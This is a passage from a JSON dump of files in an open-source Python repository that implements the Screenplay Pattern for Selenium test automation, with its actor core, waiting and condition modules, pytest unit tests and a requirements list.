__str__(self):\n return f'screenshot as a base64 encoded string'\n\n\n# --------------------------------------------------------------------------------\n# Question: ScreenshotAsPng\n# --------------------------------------------------------------------------------\n\nclass ScreenshotAsPng(Question):\n\n def request_as(self, actor):\n return actor.using('webdriver').get_screenshot_as_png()\n\n def __str__(self):\n return f'screenshot as PNG binary data'\n\n\n# --------------------------------------------------------------------------------\n# Task: SelectByIndex\n# --------------------------------------------------------------------------------\n\nclass SelectByIndex(Task, SelectInteraction):\n\n def __init__(self, locator, index):\n super().__init__(locator)\n self.index = index\n\n def perform_as(self, actor):\n select = self.get_select(actor)\n select.select_by_index(self.index)\n \n def __str__(self):\n return f'select {self.locator} by index \"{self.index}\"'\n\n\n# --------------------------------------------------------------------------------\n# Task: SelectByText\n# --------------------------------------------------------------------------------\n\nclass SelectByText(Task, SelectInteraction):\n\n def __init__(self, locator, text):\n super().__init__(locator)\n self.text = text\n\n def perform_as(self, actor):\n select = self.get_select(actor)\n select.select_by_visible_text(self.text)\n \n def __str__(self):\n return f'select {self.locator} by text \"{self.text}\"'\n\n\n# --------------------------------------------------------------------------------\n# Task: SelectByValue\n# --------------------------------------------------------------------------------\n\nclass SelectByValue(Task, SelectInteraction):\n\n def __init__(self, locator, value):\n super().__init__(locator)\n self.value = value\n\n def perform_as(self, actor):\n select = self.get_select(actor)\n select.select_by_value(self.value)\n \n def __str__(self):\n return f'select {self.locator} by value \"{self.value}\"'\n\n\n# --------------------------------------------------------------------------------\n# Task: SelectOptionsTextList\n# --------------------------------------------------------------------------------\n\nclass SelectOptionsTextList(Question, SelectInteraction):\n\n def request_as(self, actor):\n return [o.text for o in self.get_select(actor).options]\n \n def __str__(self):\n return 'select options'\n\n\n# --------------------------------------------------------------------------------\n# Task: SelectedOptionsTextList\n# --------------------------------------------------------------------------------\n\nclass SelectedOptionsTextList(Question, SelectInteraction):\n\n def request_as(self, actor):\n return [o.text for o in self.get_select(actor).all_selected_options]\n \n def __str__(self):\n return 'selected options'\n\n\n# --------------------------------------------------------------------------------\n# Question: SelectedStateOf\n# --------------------------------------------------------------------------------\n\nclass SelectedStateOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).is_selected()\n\n def __str__(self):\n return f'selected state of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Task: SendKeysTo\n# --------------------------------------------------------------------------------\n\nclass SendKeysTo(Task, LocatorInteraction):\n\n def __init__(self, locator, keys, clear=True, enter=False):\n super().__init__(locator)\n self.keys = keys\n self.clear = clear\n self.enter = enter\n\n def _get_keys(self):\n return self.keys + Keys.ENTER if self.enter else self.keys\n\n def perform_as(self, actor):\n actor.attempts_to(WaitUntil(AppearanceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n element = driver.find_element(*self.loc())\n if self.clear:\n element.clear()\n element.send_keys(self._get_keys())\n \n def __str__(self):\n return f'send keys \"{self.keys}\" to {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Task: Submit\n# --------------------------------------------------------------------------------\n\nclass Submit(Task, LocatorInteraction):\n\n def perform_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n driver.find_element(*self.loc()).submit()\n \n def __str__(self):\n return f'submit {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: TagNameOf\n# --------------------------------------------------------------------------------\n\nclass TagNameOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).tag_name\n\n def __str__(self):\n return f'tag name of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: Title\n# --------------------------------------------------------------------------------\n\nclass Title(Question):\n\n def request_as(self, actor):\n return actor.using('webdriver').title\n\n def __str__(self):\n return f'title'\n\n\n# --------------------------------------------------------------------------------\n# Question: TextListOf\n# --------------------------------------------------------------------------------\n\nclass TextListOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n elements = driver.find_elements(*self.loc())\n return [x.text for x in elements]\n\n def __str__(self):\n return f'text of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: TextOf\n# --------------------------------------------------------------------------------\n\nclass TextOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).text\n\n def __str__(self):\n return f'text of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: ValueAttributeOf\n# --------------------------------------------------------------------------------\n\nclass ValueAttributeOf(HtmlAttributeOf):\n def __init__(self, locator):\n super().__init__(locator, 'value')\n\n\n# --------------------------------------------------------------------------------\n# Question: WindowHandles\n# --------------------------------------------------------------------------------\n\nclass WindowHandles(Question):\n\n def request_as(self, actor):\n return actor.using('webdriver').window_handles\n\n def __str__(self):\n return f'window handles'\n"
},
{
"alpha_fraction": 0.48235294222831726,
"alphanum_fraction": 0.49490195512771606,
"avg_line_length": 27.65168571472168,
"blob_id": "7eff3db39575ecd68711a3192a7952f6a89977bd",
"content_id": "589169e44531b83003fcd5440bfaefe8de7adc49",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2550,
"license_type": "permissive",
"max_line_length": 92,
"num_lines": 89,
"path": "/tests/test_screenplay_waiting.py",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "\"\"\"\nContains unit tests for the screenplay.wait module.\n\"\"\"\n\n# --------------------------------------------------------------------------------\n# Imports\n# --------------------------------------------------------------------------------\n\nimport pytest\nimport time\n\nfrom screenplay.conditions import IsEqualTo, IsGreaterThan, IsLessThan\nfrom screenplay.core import Actor, Task, Question\nfrom screenplay.waiting import WaitUntil, WaitingException\n\n\n# ------------------------------------------------------------------------------\n# Globals\n# ------------------------------------------------------------------------------\n\nCOUNTER = 0\n\n\n# ------------------------------------------------------------------------------\n# Fixtures\n# ------------------------------------------------------------------------------\n\[email protected]\ndef actor():\n # Reset the counter\n global COUNTER\n COUNTER = 0\n\n # Construct the actor\n return Actor()\n\n\n# ------------------------------------------------------------------------------\n# Question for Testing\n# ------------------------------------------------------------------------------\n\nclass NextCount(Question):\n def request_as(self, actor):\n global COUNTER\n COUNTER += 1\n return COUNTER\n\n\n# ------------------------------------------------------------------------------\n# Waiting Tests\n# ------------------------------------------------------------------------------\n\ndef test_waiting_with_no_need_to_wait(actor, mocker):\n mocker.patch('time.sleep')\n answer = actor.attempts_to(WaitUntil(NextCount(), IsGreaterThan(0), timeout=1))\n time.sleep.assert_not_called() # pylint: disable=no-member\n\n global COUNTER\n assert COUNTER == 1\n assert answer == 1\n\n\ndef test_waiting_successfully(actor, mocker):\n mocker.patch('time.sleep')\n answer = actor.attempts_to(WaitUntil(NextCount(), IsEqualTo(10), timeout=1))\n time.sleep.assert_called_with(0) # pylint: disable=no-member\n\n global COUNTER\n assert COUNTER == 10\n assert answer == 10\n\n\ndef test_waiting_successfully_with_explicit_interval(actor, mocker):\n mocker.patch('time.sleep')\n answer = actor.attempts_to(WaitUntil(NextCount(), IsEqualTo(5), timeout=1, interval=0.01))\n time.sleep.assert_called_with(0.01) # pylint: disable=no-member\n\n global COUNTER\n assert COUNTER == 5\n assert answer == 5\n\n\ndef test_waiting_failure(actor, mocker):\n mocker.patch('time.sleep')\n with pytest.raises(WaitingException): \n actor.attempts_to(WaitUntil(NextCount(), IsLessThan(0), timeout=0.1, interval=0.01))\n\n global COUNTER\n assert COUNTER > 0\n"
},
{
"alpha_fraction": 0.5925126075744629,
"alphanum_fraction": 0.6165106892585754,
"avg_line_length": 24.254545211791992,
"blob_id": "19690bb41a87b7cc133ee335c9745ac8409541be",
"content_id": "56ec9ed4aa0226f44a7c24ced80b692c4446832b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4167,
"license_type": "permissive",
"max_line_length": 82,
"num_lines": 165,
"path": "/tests/test_screenplay_conditions.py",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "\"\"\"\nContains unit tests for the screenplay.conditions module.\n\"\"\"\n\n# --------------------------------------------------------------------------------\n# Imports\n# --------------------------------------------------------------------------------\n\nfrom screenplay.conditions import * # pylint: disable=unused-wildcard-import\n\n\n# --------------------------------------------------------------------------------\n# Tests for Equality Conditions\n# --------------------------------------------------------------------------------\n\ndef test_IsEqualTo_true_for_numbers():\n assert IsEqualTo(3.14).evaluate(3.14)\n\n\ndef test_IsEqualTo_false_for_numbers():\n assert not IsEqualTo(3.14).evaluate(2.72)\n\n\ndef test_IsEqualTo_true_for_strings():\n assert IsEqualTo('hello').evaluate('hello')\n\n\ndef test_IsEqualTo_false_for_strings():\n assert not IsEqualTo('hello').evaluate('goodbye')\n\n\ndef test_IsNotEqualTo_true_for_numbers():\n assert not IsNotEqualTo(3.14).evaluate(3.14)\n\n\ndef test_IsNotEqualTo_false_for_numbers():\n assert IsNotEqualTo(3.14).evaluate(2.72)\n\n\ndef test_IsNotEqualTo_true_for_strings():\n assert not IsNotEqualTo('hello').evaluate('hello')\n\n\ndef test_IsNotEqualTo_false_for_strings():\n assert IsNotEqualTo('hello').evaluate('goodbye')\n\n\ndef test_IsTrue_true():\n assert IsTrue().evaluate(True)\n\n\ndef test_IsTrue_false():\n assert not IsTrue().evaluate(False)\n\n\ndef test_IsFalse_true():\n assert IsFalse().evaluate(False)\n\n\ndef test_IsFalse_false():\n assert not IsFalse().evaluate(True)\n\n\n# --------------------------------------------------------------------------------\n# Tests for Numerical Comparison Conditions\n# --------------------------------------------------------------------------------\n\ndef test_IsGreaterThan_true():\n assert IsGreaterThan(100).evaluate(200)\n\n\ndef test_IsGreaterThan_false_when_less():\n assert not IsGreaterThan(100).evaluate(0)\n\n\ndef test_IsGreaterThan_false_when_equal():\n assert not IsGreaterThan(100).evaluate(100)\n\n\ndef test_IsGreaterThanOrEqualTo_true_when_greater():\n assert IsGreaterThanOrEqualTo(100).evaluate(200)\n\n\ndef test_IsGreaterThanOrEqualTo_true_when_equal():\n assert IsGreaterThanOrEqualTo(100).evaluate(100)\n\n\ndef test_IsGreaterThanOrEqualTo_false():\n assert not IsGreaterThanOrEqualTo(100).evaluate(0)\n\n\ndef test_IsLessThan_true():\n assert IsLessThan(100).evaluate(0)\n\n\ndef test_IsLessThan_false_when_greater():\n assert not IsLessThan(100).evaluate(200)\n\n\ndef test_IsLessThan_false_when_equal():\n assert not IsLessThan(100).evaluate(100)\n\n\ndef test_IsLessThanOrEqualTo_true_when_less():\n assert IsLessThanOrEqualTo(100).evaluate(0)\n\n\ndef test_IsLessThanOrEqualTo_true_when_equal():\n assert IsLessThanOrEqualTo(100).evaluate(100)\n\n\ndef test_IsLessThanOrEqualTo_false():\n assert not IsLessThanOrEqualTo(100).evaluate(200)\n\n\n# --------------------------------------------------------------------------------\n# Tests for Containment Conditions\n# --------------------------------------------------------------------------------\n\ndef test_Contains_true_for_strings():\n assert Contains(\"lo\").evaluate(\"Hello World!\")\n \n\ndef test_Contains_false_for_strings():\n assert not Contains(\"bye\").evaluate(\"Hello World!\")\n\n\ndef test_Contains_true_for_lists():\n assert Contains(\"a\").evaluate([\"a\", \"b\", \"c\"])\n\n\ndef test_Contains_false_for_lists():\n assert not Contains(\"d\").evaluate([\"a\", \"b\", \"c\"])\n\n\ndef test_Contains_true_for_dicts():\n assert Contains(\"a\").evaluate(dict(a=1, b=2, c=3))\n\n\ndef test_Contains_false_for_dicts():\n assert not Contains(\"d\").evaluate(dict(a=1, b=2, c=3))\n\n\ndef test_DoesNotContain_true_for_strings():\n assert DoesNotContain(\"bye\").evaluate(\"Hello World!\")\n \n\ndef test_DoesNotContain_false_for_strings():\n assert not DoesNotContain(\"lo\").evaluate(\"Hello World!\")\n\n\ndef test_DoesNotContain_true_for_lists():\n assert DoesNotContain(\"d\").evaluate([\"a\", \"b\", \"c\"])\n\n\ndef test_DoesNotContain_false_for_lists():\n assert not DoesNotContain(\"a\").evaluate([\"a\", \"b\", \"c\"])\n\n\ndef test_DoesNotContain_true_for_dicts():\n assert DoesNotContain(\"d\").evaluate(dict(a=1, b=2, c=3))\n\n\ndef test_DoesNotContain_false_for_dicts():\n assert not DoesNotContain(\"a\").evaluate(dict(a=1, b=2, c=3))\n"
},
{
"alpha_fraction": 0.5014036893844604,
"alphanum_fraction": 0.5030881762504578,
"avg_line_length": 31.381818771362305,
"blob_id": "2850e1d1219e659888afc0a6a7be02fe524be263",
"content_id": "30e4737e914297dd53b945169404a9303e5bfe25",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1781,
"license_type": "permissive",
"max_line_length": 107,
"num_lines": 55,
"path": "/screenplay/waiting.py",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "\"\"\"\nContains support for waiting for interactions.\n\"\"\"\n\n# --------------------------------------------------------------------------------\n# Imports\n# --------------------------------------------------------------------------------\n\nimport time\n\nfrom screenplay.core import Task, ScreenplayException\n\n\n# --------------------------------------------------------------------------------\n# Class: wait_until\n# --------------------------------------------------------------------------------\n\nclass WaitUntil(Task):\n\n def __init__(self, question, condition, timeout=30, interval=0):\n self.question = question\n self.condition = condition\n self.timeout = timeout\n self.interval = interval\n\n def perform_as(self, actor):\n end = time.monotonic() + self.timeout\n answer = actor.asks_for(self.question)\n satisfied = self.condition.evaluate(answer)\n\n while not satisfied and time.monotonic() < end:\n time.sleep(self.interval)\n answer = actor.asks_for(self.question)\n satisfied = self.condition.evaluate(answer)\n\n if not satisfied:\n raise WaitingException(actor, self.question, self.condition, self.timeout)\n\n return answer\n\n def __str__(self):\n return f'wait until {self.question} {self.condition} for {self.timeout}s'\n\n\n# --------------------------------------------------------------------------------\n# Class: WaitingException\n# --------------------------------------------------------------------------------\n\nclass WaitingException(ScreenplayException):\n def __init__(self, actor, question, condition, timeout):\n super().__init__(f'The actor \"{actor}\" failed to wait until \"{question}\" \"{condition}\" for {timeout}s')\n self.actor = actor\n self.question = question\n self.condition = condition\n self.timeout = timeout\n"
},
{
"alpha_fraction": 0.4691601097583771,
"alphanum_fraction": 0.4691601097583771,
"avg_line_length": 26.45945930480957,
"blob_id": "4262848be9f1111dab298ab7893b861697b19462",
"content_id": "7d404041a1d56a968ad150e06f47340dd4b4980d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3048,
"license_type": "permissive",
"max_line_length": 82,
"num_lines": 111,
"path": "/screenplay/conditions.py",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "\"\"\"\nContains basic conditions for waiting.\nImplement new conditions by creating subclasses of Condition.\n\"\"\"\n\n# --------------------------------------------------------------------------------\n# Imports\n# --------------------------------------------------------------------------------\n\nfrom abc import ABC, abstractmethod\n\n\n# --------------------------------------------------------------------------------\n# Abstract Class: Condition\n# --------------------------------------------------------------------------------\n\nclass Condition(ABC):\n @abstractmethod\n def evaluate(self, actual):\n pass\n\n\n# --------------------------------------------------------------------------------\n# Abstract Class: ValueCondition\n# --------------------------------------------------------------------------------\n\nclass ValueCondition(ABC):\n def __init__(self, value):\n self.value = value\n\n\n# --------------------------------------------------------------------------------\n# Conditions for Equality\n# --------------------------------------------------------------------------------\n\nclass IsEqualTo(ValueCondition):\n def evaluate(self, actual):\n return actual == self.value\n def __str__(self):\n return f'is equal to {self.value}'\n\n\nclass IsNotEqualTo(ValueCondition):\n def evaluate(self, actual):\n return actual != self.value\n def __str__(self):\n return f'is not equal to {self.value}'\n\n\nclass IsTrue(Condition):\n def evaluate(self, actual):\n return actual\n def __str__(self):\n return 'is True'\n\n\nclass IsFalse(Condition):\n def evaluate(self, actual):\n return not actual\n def __str__(self):\n return 'is False'\n\n\n# --------------------------------------------------------------------------------\n# Conditions for Numerical Comparisons\n# --------------------------------------------------------------------------------\n\nclass IsGreaterThan(ValueCondition):\n def evaluate(self, actual):\n return actual > self.value\n def __str__(self):\n return f'is greater than {self.value}'\n\n\nclass IsGreaterThanOrEqualTo(ValueCondition):\n def evaluate(self, actual):\n return actual >= self.value\n def __str__(self):\n return f'is greater than or equal to {self.value}'\n\n\nclass IsLessThan(ValueCondition):\n def evaluate(self, actual):\n return actual < self.value\n def __str__(self):\n return f'is less than {self.value}'\n\n\nclass IsLessThanOrEqualTo(ValueCondition):\n def evaluate(self, actual):\n return actual <= self.value\n def __str__(self):\n return f'is less than or equal to {self.value}'\n\n\n# --------------------------------------------------------------------------------\n# Conditions for Containment\n# --------------------------------------------------------------------------------\n\nclass Contains(ValueCondition):\n def evaluate(self, actual):\n return self.value in actual\n def __str__(self):\n return f'contains {self.value}'\n\n\nclass DoesNotContain(ValueCondition):\n def evaluate(self, actual):\n return self.value not in actual\n def __str__(self):\n return f'does not contain {self.value}'\n"
},
{
"alpha_fraction": 0.4368230998516083,
"alphanum_fraction": 0.667870044708252,
"avg_line_length": 14.38888931274414,
"blob_id": "a0ea7699fcd361d47688243d2ba559e95b39f4d0",
"content_id": "7edb40c04d57bc0519a8f63113e63799b0870374",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 277,
"license_type": "permissive",
"max_line_length": 24,
"num_lines": 18,
"path": "/requirements.txt",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "astroid==2.4.2\nattrs==20.3.0\niniconfig==1.1.1\nisort==5.6.4\nlazy-object-proxy==1.4.3\nmccabe==0.6.1\npackaging==20.4\npluggy==0.13.1\npy==1.10.0\npylint==2.6.0\npyparsing==2.4.7\npytest==6.1.2\npytest-mock==3.3.1\nselenium==3.141.0\nsix==1.15.0\ntoml==0.10.2\nurllib3==1.26.5\nwrapt==1.12.1\n"
},
{
"alpha_fraction": 0.4222659468650818,
"alphanum_fraction": 0.4222659468650818,
"avg_line_length": 29.144067764282227,
"blob_id": "e26f4b028fdaaf9b61d20146cafc9c87c20bc0b1",
"content_id": "e6f1621ffd92b8dd1861581211ad2b3c4b4583d0",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3557,
"license_type": "permissive",
"max_line_length": 87,
"num_lines": 118,
"path": "/screenplay/core.py",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "\"\"\"\nContains the core definitions for the Screenplay Pattern.\n\"\"\"\n\n# --------------------------------------------------------------------------------\n# Imports\n# --------------------------------------------------------------------------------\n\nimport logging\n\nfrom abc import ABC, abstractmethod\n\n\n# --------------------------------------------------------------------------------\n# Logging\n# --------------------------------------------------------------------------------\n\nlogger = logging.getLogger(__name__)\n\n\n# --------------------------------------------------------------------------------\n# Class: Actor\n# --------------------------------------------------------------------------------\n\nclass Actor:\n\n def __init__(self, name='Actor'):\n self.name = name\n self._abilities = dict()\n\n def can_use(self, **kwargs):\n self._abilities.update(kwargs)\n logger.debug(f'{self} can use: {kwargs}')\n\n def has(self, ability):\n return ability in self._abilities\n\n def using(self, ability):\n if not self.has(ability):\n raise MissingAbilityException(self, ability)\n value = self._abilities[ability]\n logger.debug(f'{self} is using \"{ability}\" as \"{value}\"')\n return value\n\n def attempts_to(self, task):\n logger.info(f'{self} attempts to {task}')\n answer = task.perform_as(self)\n logger.info(f'{self} did {task}')\n return answer\n\n def asks_for(self, question):\n logger.info(f'{self} asks for {question}')\n answer = question.request_as(self)\n logger.info(f'{self} asked for {question} and got {answer}')\n return answer\n\n def calls(self, interaction):\n logger.info(f'{self} calls {interaction}')\n if isinstance(interaction, Task):\n answer = interaction.perform_as(self)\n elif isinstance(interaction, Question):\n answer = interaction.request_as(self)\n if answer is None:\n logger.info(f'{self} called {interaction}')\n else:\n logger.info(f'{self} called {interaction} and got {answer}')\n return answer\n\n def __str__(self):\n return self.name\n\n\n# --------------------------------------------------------------------------------\n# Abstract Class: Interaction\n# --------------------------------------------------------------------------------\n\nclass Interaction(ABC):\n pass\n\n\n# --------------------------------------------------------------------------------\n# Abstract Class: Task\n# --------------------------------------------------------------------------------\n\nclass Task(Interaction, ABC):\n @abstractmethod\n def perform_as(self, actor):\n pass\n\n\n# --------------------------------------------------------------------------------\n# Abstract Class: Question\n# --------------------------------------------------------------------------------\n\nclass Question(Interaction, ABC):\n @abstractmethod\n def request_as(self, actor):\n pass\n\n\n# --------------------------------------------------------------------------------\n# Class: ScreenplayException\n# --------------------------------------------------------------------------------\n\nclass ScreenplayException(Exception):\n def __init__(self, message):\n super().__init__(message)\n\n\n# --------------------------------------------------------------------------------\n# Class: MissingAbilityException\n# --------------------------------------------------------------------------------\n\nclass MissingAbilityException(ScreenplayException):\n def __init__(self, actor, ability):\n super().__init__(f'The actor \"{actor}\" does not have an ability named \"{ability}\"')\n self.actor = actor\n self.ability = ability\n"
},
{
"alpha_fraction": 0.5835723280906677,
"alphanum_fraction": 0.5884883403778076,
"avg_line_length": 25.677595138549805,
"blob_id": "b160b5636e83c63752c288aa05272f79486e6c9a",
"content_id": "feb52c55337e80def106162982f5db1ac0166090",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4882,
"license_type": "permissive",
"max_line_length": 83,
"num_lines": 183,
"path": "/tests/test_screenplay_core.py",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "\"\"\"\nContains unit tests for the screenplay.core module.\n\"\"\"\n\n# --------------------------------------------------------------------------------\n# Imports\n# --------------------------------------------------------------------------------\n\nimport pytest\n\nfrom screenplay.core import Actor, Task, Question, MissingAbilityException\n\n\n# --------------------------------------------------------------------------------\n# Fixtures\n# --------------------------------------------------------------------------------\n\[email protected]\ndef actor():\n return Actor()\n\n\n# --------------------------------------------------------------------------------\n# Tests: Actor\n# --------------------------------------------------------------------------------\n\ndef test_actor_init_default(actor):\n assert len(actor._abilities) == 0\n assert str(actor) == 'Actor'\n\n\ndef test_actor_init_with_name():\n andy = Actor('Andy')\n assert andy.name == 'Andy'\n assert str(andy) == 'Andy'\n assert len(andy._abilities) == 0\n\n\ndef test_actor_has_an_ability(actor):\n actor.can_use(thing='tool')\n assert actor.has('thing')\n\n\ndef test_actor_does_not_have_an_ability(actor):\n actor.can_use(thing='tool')\n assert not actor.has('other')\n\n\ndef test_actor_has_multiple_abilities(actor):\n actor.can_use(thing='tool1', other='tool2')\n actor.can_use(third='tool3')\n assert actor.has('thing')\n assert actor.has('other')\n assert actor.has('third')\n assert not actor.has('tool1')\n assert not actor.has('tool2')\n assert not actor.has('tool3')\n\n\ndef test_actor_using_an_ability(actor):\n actor.can_use(thing='tool')\n assert actor.using('thing') == 'tool'\n\n\ndef test_actor_using_one_of_multiple_ability(actor):\n actor.can_use(thing='tool1', other='tool2')\n actor.can_use(third='tool3')\n assert actor.using('other') == 'tool2'\n\n\ndef test_actor_using_a_missing_ability_raises_an_exception(actor):\n with pytest.raises(MissingAbilityException) as e:\n actor.using('thing')\n assert e.value.actor == actor\n assert e.value.ability == 'thing'\n assert str(e.value) == 'The actor \"Actor\" does not have an ability named \"thing\"'\n\n\n# --------------------------------------------------------------------------------\n# Tests: Task\n# --------------------------------------------------------------------------------\n\nclass AddAnAbility(Task):\n\n def __init__(self, name):\n self.name = name\n\n def perform_as(self, actor):\n actor.can_use(new_ability=self.name)\n\n\nclass UseAnAbility(Task):\n\n def perform_as(self, actor):\n value = actor.using('thing')\n actor.can_use(new_ability=value)\n\n\ndef test_actor_attempts_a_task_with_an_argument(actor):\n actor.attempts_to(AddAnAbility('cool'))\n assert actor.has('new_ability')\n assert actor.using('new_ability') == 'cool'\n\n\ndef test_actor_attempts_a_task_that_uses_an_ability(actor):\n actor.can_use(thing='cool')\n actor.attempts_to(UseAnAbility())\n assert actor.has('new_ability')\n assert actor.using('new_ability') == 'cool'\n\n\ndef test_actor_attempts_a_task_but_lacks_the_ability(actor):\n with pytest.raises(MissingAbilityException):\n actor.attempts_to(UseAnAbility())\n\n\ndef test_actor_calls_a_task_with_an_argument(actor):\n actor.calls(AddAnAbility('cool'))\n assert actor.has('new_ability')\n assert actor.using('new_ability') == 'cool'\n\n\ndef test_actor_calls_a_task_that_uses_an_ability(actor):\n actor.can_use(thing='cool')\n actor.calls(UseAnAbility())\n assert actor.has('new_ability')\n assert actor.using('new_ability') == 'cool'\n\n\ndef test_actor_calls_a_task_but_lacks_the_ability(actor):\n with pytest.raises(MissingAbilityException):\n actor.calls(UseAnAbility())\n\n\n# --------------------------------------------------------------------------------\n# Tests: Question\n# --------------------------------------------------------------------------------\n\nclass AddingOne(Question):\n\n def __init__(self, amount):\n self.amount = amount\n\n def request_as(self, actor):\n return self.amount + 1\n\n\nclass AddingOneToStart(Question):\n\n def request_as(self, actor):\n return actor.using('start') + 1\n\n\ndef test_actor_asks_for_a_question_with_an_argument(actor):\n answer = actor.asks_for(AddingOne(5))\n assert answer == 6\n\n\ndef test_actor_asks_for_a_question_that_uses_an_ability(actor):\n actor.can_use(start=9)\n answer = actor.asks_for(AddingOneToStart())\n assert answer == 10\n\n\ndef test_actor_asks_for_a_question_but_lacks_the_ability(actor):\n with pytest.raises(MissingAbilityException):\n actor.asks_for(AddingOneToStart())\n\n\ndef test_actor_calls_a_question_with_an_argument(actor):\n answer = actor.calls(AddingOne(5))\n assert answer == 6\n\n\ndef test_actor_calls_a_question_that_uses_an_ability(actor):\n actor.can_use(start=9)\n answer = actor.calls(AddingOneToStart())\n assert answer == 10\n\n\ndef test_actor_calls_a_question_but_lacks_the_ability(actor):\n with pytest.raises(MissingAbilityException):\n actor.calls(AddingOneToStart())\n"
}
] | 9 |